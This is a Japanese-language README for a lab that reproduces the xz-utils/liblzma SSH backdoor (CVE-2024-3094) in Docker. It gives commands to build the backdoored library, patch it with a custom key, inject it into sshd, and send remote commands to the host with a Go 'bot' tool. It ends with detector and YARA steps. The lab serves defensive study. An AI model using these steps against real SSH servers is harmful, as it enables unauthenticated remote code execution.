このプロジェクトは、xz-utils (liblzma) で発見された注目度の高いバックドアを解析します。影響を受けるバージョンは 5.6.0 と 5.6.1 です。アップストリームのビルドシステムに導入された悪意のあるコードは、実行時に sshd が LZMA 圧縮ライブラリと相互作用する方法を変更することで、SSH 認証を標的にしていました。
⚠️ このプロジェクトは教育および防御研究のみを目的としています。
このリポジトリをクローンします
git clone https://github.com/valeriot30/cve-2024-3094
ディレクトリに移動します
cd cve-2024-3094
Docker コンテナを起動します
docker build -t fedora-dev .
docker run --privileged -it --rm -p 2222:22 fedora-dev
悪意のあるバージョンのライブラリを取得します
cd ~
git clone https://github.com/thesamesam/xz-archive.git
cd xz-archive/5.6/ # The vulnerable version ( it works as well with 5.6.1 )
tar xzf xz-5.6.0.tar.gz
mv xz-5.6.0 ~
ビルドターゲットをエクスポートします
export RPM_ARCH=$(uname -m)
悪意のあるライブラリをコンパイルします
cd ~
cd ./xz-5.6.0/
./configure
make -j 8
悪意のある SO を外部にコピーします:
cp ./src/liblzma/.libs/liblzma.so.5.6.0 ~
コンテナ内でリポジトリを再度クローンします
git clone https://github.com/valeriot30/cve-2024-3094
カスタムキーで liblzma ライブラリにパッチを適用します
python3 cve-2024-3094/patch.py liblzma.so.5.6.0
悪意のあるライブラリをシステムにリンクします
sh cve-2024-3094/inject.sh
悪意のあるライブラリにリンクされた sshd を実行します
env -i LANG=C /usr/sbin/sshd -D &
このリポジトリをクローンします
git clone https://github.com/valeriot30/cve-2024-3094
ディレクトリに移動します
cd cve-2024-3094
GO ツールをコンパイルします
go build
脆弱なマシンの IP アドレスと実行するコマンドを指定してツールを使用します
./bot -addr 127.0.0.2:2222 -cmd 'sleep 60'
検出器を実行します
sh detector.sh
yara マッチングルールを使用します
yara rule.yar ../liblzma.so.5.6.0 -s